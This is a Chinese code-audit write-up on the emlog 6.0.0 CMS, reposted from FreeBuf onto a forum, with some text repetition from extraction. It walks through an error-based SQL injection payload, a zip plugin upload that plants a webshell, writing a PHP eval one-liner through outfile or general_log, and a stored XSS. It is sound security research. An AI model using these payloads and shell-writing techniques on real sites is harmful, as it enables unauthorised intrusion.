搜索

[13792] 2019-02-24_CMS代码审计之emlog6.0

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-02-24_CMS代码审计之emlog6.0 C M S 代 码 审 计 之 e m l o g   6 . 0 f i s h y y h   F r e e B u f   2 0 1 9 - 0 2 - 2 4 一 、 前 言 一 、 前 言 本 小 菜 也 是 刚 开 始 玩 代 码 审 计 ， 最 近 发 现 个 比 较 有 趣 的 本 小 菜 也 是 刚 开 始 玩 代 码 审 计 ， 最 近 发 现 个 比 较 有 趣 的 C M S 跟 大 家 分 享 一 波 ， 虽 然 只 找 到 一 些 鸡 肋 漏 洞 。 废 话 不 多 说 开 始 进 入 正 跟 大 家 分 享 一 波 ， 虽 然 只 找 到 一 些 鸡 肋 漏 洞 。 废 话 不 多 说 开 始 进 入 正 题 ， 本 次 审 计 的 题 ， 本 次 审 计 的 C M S 是 是 e m l o g   6 . 0 . 0 版 本 ， 官 方 地 址 为 ： 版 本 ， 官 方 地 址 为 ： h t t p : / / w w w . e m l o g . n e t 。 。 二 、 审 计 思 路 二 、 审 计 思 路 在 学 习 前 辈 们 的 文 章 后 ， 自 己 稍 微 总 结 一 下 代 码 审 计 的 思 路 主 要 可 以 分 为 以 下 四 种 。 1 ）   查 找 可 控 变 量 ， 正 向 追 踪 变 量 传 递 过 程 ， 查 看 变 量 是 否 进 行 进 行 过 滤 ， 是 否 进 行 后 台 交 互 。 2 ）   查 找 敏 感 函 数 ， 如 S e l e c t 、 I n s e r t 等 ， 回 溯 该 函 数 的 参 数 是 否 进 行 过 滤 、 是 否 可 控 。 3 ）   寻 敏 感 功 能 点 ， 通 读 功 能 点 模 块 ， 如 上 传 点 。 4 ）   直 接 通 读 全 文 代 码 ， 这 种 方 式 能 够 更 好 的 理 解 代 码 的 业 务 逻 辑 ， 能 够 挖 掘 出 更 有 价 值 的 漏 洞 三 、 审 计 过 程 三 、 审 计 过 程 1 .   S q l 注 入 注 入 废 话 不 多 说 ， 像 本 小 菜 这 种 级 别 的 还 是 比 较 喜 欢 第 一 种 思 路 ， 简 单 粗 暴 。 首 先 了 解 一 下 代 码 大 概 逻 辑 结 构 ， 然 后 用 n o t e p a d 大 法 搜 索 一 下 _ G E T [ ‘ i p ’ ] 进 行 任 何 限 制 ， 接 下 来 就 查 看 I P 这 个 参 数 是 否 进 行 了 敏 感 操 作 。
当 a c t i o n 等 于 d e l b y i p 时 ， 对 t o k e n 进 行 判 定 ， 查 看 是 否 是 管 理 员 ， 然 后 将 i p ， 然 后 再 调 用 d l e C o m m e n t B y I p ( $ i p ) 函 数 ， 代 码 如 下 ： 接 下 来 进 行 跟 进 c l a s s   C o m m e n t _ M o d e l 的 d e l C o m m e n t B y I p 函 数 ， 继 续 使 用 搜 索 大 法 ， 在 / i n l u d e s / m o d e l / c o m m e n t _ m o d e l . p h p 中 发 现 d e l C o m m e n t B y I p 函 数 ， 跟 进 d e l C o m m e n t B y I p 函 数 ， 可 以 看 出 这 个 函 数 直 接 将 传 入 的 参 数 < i m g   s r c = " h t t p s : / / c h a r t . g o o g l e a p i s . c o m / c h a r t ? c h t = t x & c h l = i p % 2 C % E 4 % B B % A 3 % E 5 % 8 5 % A 5 % 3 C s p a n % 2 0 s t y l e % 3 D % 2 2 c o l o r % 3 A % 2 0 r g b ( 4 1 % 2 C % 2 0 4 3 % 2 C % 2 0 4 4 ) % 3 B % 2 0 f o n t - s i z e % 3 A % 2 0 1 3 p x % 3 B % 2 2 % 3 E % 2 2 S E L E C T % 2 0 D I S T I N C T % 2 0 g i d % 2 0 F R O M % 2 0 % 2 2 . D B _ P R E F I X . % 2 2 c o m m e n t % 2 0 W H E R E % 2 0 i p % 3 D ' " a l t = " i p , 代 入 " S E L E C T   D I S T I N C T   g i d   F R O M   " . D B _ P R E F I X . " c o m m e n t   W H E R E   i p = ' " > i p ’ ” 进 行 s q l 查 询 ， 此 过 程 中 未 发 现 任 何 过 滤 行 为 ， 我 们 只 需 通 过 封 闭 单 引 号 然 后 进 行 报 错 注 入 。 接 下 来 就 进 行 漏 洞 验 证 了 ， 访 问 h t t p : / / 1 2 7 . 0 . 0 . 1 / e m l o g / a d m i n / c o m m e n t . p h p ， 点 击 根 据 i p 删 除 ， 用 b u r p s u i t e 抓 取 数 据 包 ， 构 造 p a y l o a d / e m l o g / a d m i n / c o m m e n t . p h p ? a c t i o n = d e l b y i p & t o k e n = a b a c 6 e 1 2 c 2 a b e 9 b 2 9 7 9 7 b 6 4 4 8 1 e f 6 e d 4 & i p = 1 2 7 . 0 . 0 . 1 ’ a n d   ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   u s e r ( ) ) , 0 x 7 e ) ) ) #     注 入 时 得 进 行 编 码 处 理 才 能 成 功 ， 当 然 各 位 师 傅 的 骚 操 作 比 我 多 。 比 较 尴 尬 的 是 该 注 入 点 进 行 了 权 限 校 验 ， 也 就 是 说 只 有 管 理 员 才 能 注 入 ， 所 以 该 漏 洞 十 分 的 鸡 肋 ， 当 然 也 只 是 分 享 一 下 自 己 的 学 习 审 计 过 程 。 2 .   文 件 上 传 漏 洞 文 件 上 传 漏 洞 在 a d m i n / p l u g i n . p h p 插 件 上 传 处 存 在 上 传 漏 洞 ， 通 过 上 传 z i p 压 缩 的 文 件 ， 即 可 上 传 木 马 文 件 。 在 p l u g i n . p h p 约 7 9 行 处 的 上 传 点 当 a c t i o n 为 u p l o a d _ z i p 进 行 判 断 ， 先 判 断 是 否 上 传 文 件 是 否 为 空 . . i f   ( $ a c t i o n = =   ' d e l b y i p ' )   {         L o g i n A u t h : : c h e c k T o k e n ( ) ;         i f   ( R O L E   ! =   R O L E _ A D M I N )   {                 e m M s g ( ' 权 限 不 足 ！ ' ,   ' . / ' ) ;         }         $ i p   =   i s s e t ( $ _ G E T [ ' i p ' ] )   ?   $ _ G E T [ ' i p ' ]   :   ' ' ;         $ C o m m e n t _ M o d e l - > d e l C o m m e n t B y I p ( $ i p ) ;         $ C A C H E - > u p d a t e C a c h e ( a r r a y ( ' s t a ' , ' c o m m e n t ' ) ) ;         e m D i r e c t ( " . / c o m m e n t . p h p ? a c t i v e _ d e l = 1 " ) ; } f u n c t i o n   d e l C o m m e n t B y I p ( $ i p )   {                 $ b l o g i d s   =   a r r a y ( ) ;                 $ s q l   =   " S E L E C T   D I S T I N C T   g i d   F R O M   " . D B _ P R E F I X . " c o m m e n t   W H E R E   i p = ' $ i p ' " ;                 $ q u e r y   =   $ t h i s - > d b - > q u e r y ( $ s q l ) ;                 w h i l e   ( $ r o w   =   $ t h i s - > d b - > f e t c h _ a r r a y ( $ q u e r y ) )   {                         $ b l o g i d s [ ]   =   $ r o w [ ' g i d ' ] ;                 }                 $ t h i s - > d b - > q u e r y ( " D E L E T E   F R O M   " . D B _ P R E F I X . " c o m m e n t   W H E R E   i p = ' $ i p ' " ) ;                 $ t h i s - > u p d a t e C o m m e n t N u m ( $ b l o g i d s ) ;         }
然 后 通 过 i n c l u d e l i b f u n c t i o n . b a s e . p h p 中 的 g e t F i l e s u S u f f i x 函 数 获 取 后 缀 名 ， 并 判 断 是 否 为 z i p 。 之 后 通 过 i n c l u d e l i b f u n c t i o n . b a s e . p h p 中 e m U n z i p 函 数 进 行 解 压 z i p 文 件 ， 在 解 压 的 过 程 中 会 对 压 缩 包 里 的 文 件 名 称 进 行 判 断 ， 如 果 你 压 缩 包 名 称 为 t e s t 则 压 缩 包 里 必 须 存 在 t e s t . p h p 文 件 ， 否 者 会 进 行 报 错 。 漏 洞 验 证 ： 漏 洞 验 证 ： i f   ( $ a c t i o n   = =   ' u p l o a d _ z i p ' )   {         L o g i n A u t h : : c h e c k T o k e n ( ) ;         $ z i p f i l e   =   i s s e t ( $ _ F I L E S [ ' p l u z i p ' ] )   ?   $ _ F I L E S [ ' p l u z i p ' ]   :   ' ' ;         i f   ( $ z i p f i l e [ ' e r r o r ' ]   = =   4 )   {                 e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ d = 1 " ) ;         }         i f   ( ! $ z i p f i l e   | |   $ z i p f i l e [ ' e r r o r ' ]   > =   1   | |   e m p t y ( $ z i p f i l e [ ' t m p _ n a m e ' ] ) )   {                 e m M s g ( ' 插 件 上 传 失 败 ' ) ;         }         i f   ( g e t F i l e S u f f i x ( $ z i p f i l e [ ' n a m e ' ] )   ! =   ' z i p ' )   {   / / 判 断 后 缀 名 是 否 为 z i p                 e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ f = 1 " ) ;         }         $ r e t   =   e m U n Z i p ( $ z i p f i l e [ ' t m p _ n a m e ' ] ,   ' . . / c o n t e n t / p l u g i n s / ' ,   ' p l u g i n ' ) ; / / 解 压 z i p 文 件 到 . . / c o n t e n t / p l u g i n s / 目 录 下         s w i t c h   ( $ r e t )   {                 c a s e   0 :                         e m D i r e c t ( " . / p l u g i n . p h p ? a c t i v a t e _ i n s t a l l = 1 # t p l l i b " ) ;                         b r e a k ;                 c a s e   - 1 :                         e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ e = 1 " ) ;                         b r e a k ;                 c a s e   1 :                 c a s e   2 :                         e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ b = 1 " ) ;                         b r e a k ;                 c a s e   3 :                         e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ c = 1 " ) ;                         b r e a k ;         } } f u n c t i o n   g e t F i l e S u f f i x ( $ f i l e N a m e )   {         r e t u r n   s t r t o l o w e r ( p a t h i n f o ( $ f i l e N a m e ,     P A T H I N F O _ E X T E N S I O N ) ) ; } f u n c t i o n   e m U n Z i p ( $ z i p f i l e ,   $ p a t h ,   $ t y p e   =   ' t p l ' )   {         i f   ( ! c l a s s _ e x i s t s ( ' Z i p A r c h i v e ' ,   F A L S E ) )   {                 r e t u r n   3 ; / / z i p 模 块 问 题         }         $ z i p   =   n e w   Z i p A r c h i v e ( ) ;         i f   ( @ $ z i p - > o p e n ( $ z i p f i l e )   ! = =   T R U E )   {                 r e t u r n   2 ; / / 文 件 权 限 问 题         }         $ r   =   e x p l o d e ( ' / ' ,   $ z i p - > g e t N a m e I n d e x ( 0 ) ,   2 ) ;         $ d i r   =   i s s e t ( $ r [ 0 ] )   ?   $ r [ 0 ]   .   ' / '   :   ' ' ;         s w i t c h   ( $ t y p e )   {                 c a s e   ' t p l ' :                         $ r e   =   $ z i p - > g e t F r o m N a m e ( $ d i r   .   ' h e a d e r . p h p ' ) ;                         i f   ( f a l s e   = = =   $ r e )                                 r e t u r n   - 2 ;                         b r e a k ;                 c a s e   ' p l u g i n ' :                         $ p l u g i n _ n a m e   =   s u b s t r ( $ d i r ,   0 ,   - 1 ) ;                         $ r e   =   $ z i p - > g e t F r o m N a m e ( $ d i r   .   $ p l u g i n _ n a m e   .   ' . p h p ' ) ; / / 判 断 是 否 存 在 与 文 件 夹 名 称 相 同 的 p h p 文 件                         i f   ( f a l s e   = = =   $ r e )                                 r e t u r n   - 1 ;                         b r e a k ;                 c a s e   ' b a c k u p ' :                         $ s q l _ n a m e   =   s u b s t r ( $ d i r ,   0 ,   - 1 ) ;                         i f   ( g e t F i l e S u f f i x ( $ s q l _ n a m e )   ! =   ' s q l ' )                                 r e t u r n   - 3 ;                         b r e a k ;                 c a s e   ' u p d a t e ' :                         b r e a k ;         }         i f   ( t r u e   = = =   @ $ z i p - > e x t r a c t T o ( $ p a t h ) )   {                 $ z i p - > c l o s e ( ) ;                 r e t u r n   0 ;         }   e l s e   {                 r e t u r n   1 ; / / 文 件 权 限 问 题         } }
将 一 句 话 木 马 以 z i p 格 式 进 行 压 缩 然 后 在 插 件 上 传 处 上 传 插 件 上 传 成 功 后 使 用 菜 刀 连 接 c o n t e n t / p l u g i n s / t e s t 1 / t e s t 1 . p h p ， 获 取 w e b s h e l l 。 3 .   数 据 库 备 份 拿 数 据 库 备 份 拿 s h e l l 数 据 库 拿 s h e l l 主 要 有 两 种 方 式 ： 1 、 s e l e c t   … i n t o   o u t f i l e     利 用 需 要 的 条 件 有 ： 对 w e b 目 录 需 要 有 写 权 限 ； 能 够 使 用 单 引 号 ； 知 道 绝 对 路 径 ； 没 有 配 置 - s e c u r e - f i l e -
p r i v 2 、 通 过 g e n e r a l _ l o g ， 将 日 志 写 入 特 定 目 录 下 ， 利 用 条 件 又 ： 对 w e b 目 录 需 要 要 写 权 限 ； 能 够 使 用 单 引 号 ； 知 道 绝 对 路 径 ； 能 够 执 行 多 行 s q l 语 句 。 先 尝 试 第 一 种 方 法 ， 先 备 份 s q l 语 句 ， 在 其 基 础 上 插 入 s e l e c t   “ < ? p h p   @ e v a l ( $ _ P O S T [ ‘ c m d ’ ] )   ? > ”   i n t o   o u t f i l e   ‘ e v a l . p h p ’ 语 句 就 o k 了 , 但 是 由 于 配 置 了 s e c u r e - f i l e - p r i v , 所 以 G G , 这 个 方 法 行 不 通 。 使 用 第 二 种 方 法 ， 设 置 了   g e n e r a l _ l o g   和   g e n e r a l _ l o g _ f i l e   之 后 所 有 S Q L 记 录 都 会 写 入 指 定 的 文 件 ， 所 以 可 以 通 过 这 种 方 法 将 p h p 语 句 写 到 l o g 中 。 查 询 语 句 如 下 接 下 来 操 作 如 上 导 入 备 份 文 件 即 可 ， 在 C : / p h p S t u d y / P H P T u t o r i a l / W W W / e m l o g / 目 录 下 生 成 e v a l . p h p 的 l o g 文 件 。 s e t   g l o b a l   g e n e r a l _ l o g = ' o n ' ; S E T   g l o b a l   g e n e r a l _ l o g _ f i l e = ' C : / p h p S t u d y / P H P T u t o r i a l / W W W / e m l o g / e v a l . p h p ' ;   S E L E C T   ' < ? p h p   p h p i n f o ( ) ; ? > ' ;
访 问 h t t p : / / 1 2 7 . 0 . 0 . 1 / e m l o g / e v a l . p h p ， 查 看 获 取 s h e l l 。 4 .   存 储 型 存 储 型 x s s 后 台 链 接 添 加 处 a d m i n / l i n k . p h p   , s i t e u r l 参 数 输 出 时 未 进 行 实 体 化 处 理 导 致 ， 存 储 型 x s s 。 在 $ a c t i o n = a d d l i n k 时 ， 通 过 a d d s l a s h e s 函 数 进 行 转 义 处 理 ， 防 止 进 行 s q l 注 入 ， 但 是 未 进 行 任 何 的 h t m l 实 体 化 ， 或 者 过 滤 处 理 。 通 过 第 4 4 行 代 码 可 发 现 进 行 了 正 则 匹 配 所 以 我 们 构 造 的 p a y l o a d 需 以 h t t p 、 f t p 开 头 ， 才 能 进 型 数 据 插 入 。 通 过 a d d L i n k 函 数 插 入 链 接 ， 接 下 来 跟 进 / i n c l u d e / m o d e l / l i n k _ m o d e l . p h p 中 的 l i n k _ M o d e l - > a d d L i n k 函 数 ， 该 函 数 将 经 过 a d d s l a s h e s 转 义 完 的 链 接 插 入 数 据 库   进 行 存 储 。 i f   ( $ a c t i o n = =   ' a d d l i n k ' )   {         $ t a x i s   =   i s s e t ( $ _ P O S T [ ' t a x i s ' ] )   ?   i n t v a l ( t r i m ( $ _ P O S T [ ' t a x i s ' ] ) )   :   0 ;         $ s i t e n a m e   =   i s s e t ( $ _ P O S T [ ' s i t e n a m e ' ] )   ?   a d d s l a s h e s ( t r i m ( $ _ P O S T [ ' s i t e n a m e ' ] ) )   :   ' ' ;         $ s i t e u r l   =   i s s e t ( $ _ P O S T [ ' s i t e u r l ' ] )   ?   a d d s l a s h e s ( t r i m ( $ _ P O S T [ ' s i t e u r l ' ] ) )   :   ' ' ;         $ d e s c r i p t i o n   =   i s s e t ( $ _ P O S T [ ' d e s c r i p t i o n ' ] )   ?   a d d s l a s h e s ( t r i m ( $ _ P O S T [ ' d e s c r i p t i o n ' ] ) )   :   ' ' ;         i f   ( $ s i t e n a m e   = = ' '   | |   $ s i t e u r l   = = ' ' )   {                 e m D i r e c t ( " . / l i n k . p h p ? e r r o r _ a = 1 " ) ;         }         i f   ( ! p r e g _ m a t c h ( " / ^ h t t p | f t p . + $ / i " ,   $ s i t e u r l ) )   {   / / 需 以 h t t p 、 f t p 开 头 ，                 $ s i t e u r l   =   ' h t t p : / / ' . $ s i t e u r l ;         }         $ L i n k _ M o d e l - > a d d L i n k ( $ s i t e n a m e ,   $ s i t e u r l ,   $ d e s c r i p t i o n ,   $ t a x i s ) ;         $ C A C H E - > u p d a t e C a c h e ( ' l i n k ' ) ;         e m D i r e c t ( " . / l i n k . p h p ? a c t i v e _ a d d = 1 " ) ; }
接 下 来 跟 进 输 出 情 况 ， 当 a c t i o n 参 数 为 空 ， 通 过 / i n c l u d e / m o d e l / l i n k _ m o d e l . p h p 中 的 L i n k _ M o d e l - > g e t L i n k s ( ) 函 数 从 数 据 库 查 询 s i t e n a m e 、 d e s c r i p t i o n 、 s i t e u r l ， 并 返 回 查 询 结 果 ， 最 后 由 V i e w : : o u t p u t ( ) 进 行 输 出 。 g e t L i n k s ( ) 函 数 查 询 数 据 库 获 取 ， 获 取 s i t e n a m e 、 d e s c r i p t i o n 、 s i t e u r l 数 据 ， 查 看 可 发 现 未 对 s i t e u r l 参 数 进 行 实 体 化 和 过 滤 处 理 。 查 看 / i n c l u d e / l i b / v i e w . p h p   中 的 V i e w : : o u t p u t 函 数 ， 最 后 结 果 通 过 e c h o 输 出 ， 在 整 个 过 程 都 未 对 s i t e u r l 进 行 实 体 化 、 过 滤 处 理 ， 导 致 最 终 造 成 存 储 型 x s s 。 漏 洞 验 证 四 、 结 束 语 四 、 结 束 语 f u n c t i o n   a d d L i n k ( $ n a m e ,   $ u r l ,   $ d e s ,   $ t a x i s )   {                 i f   ( $ t a x i s   >   3 0 0 0 0   | |   $ t a x i s   <   0 )   {                         $ t a x i s   =   0 ;                 }                 $ s q l = " i n s e r t   i n t o   " . D B _ P R E F I X . " l i n k   ( s i t e n a m e , s i t e u r l , d e s c r i p t i o n , t a x i s )   v a l u e s ( ' $ n a m e ' , ' $ u r l ' , ' $ d e s ' ,   $ t a x i s ) " ;                 $ t h i s - > d b - > q u e r y ( $ s q l ) ;         }
这 个 c m s 漏 洞 当 然 不 止 这 些 ， 还 有 很 多 问 题 。 其 实 整 个 过 程 中 审 计 的 漏 洞 利 用 价 值 都 不 大 ， 堪 称 鸡 肋 ， 本 文 只 是 分 享 自 己 学 习 的 过 程 ， 由 简 单 到 复 杂 ， 分 享 一 下 自 己 的 学 习 体 会 而 已 ， 望 各 位 师 傅 多 多 包 涵 。 * 本 文 作 者 ： 本 文 作 者 ： f i s h y y h ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 。 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理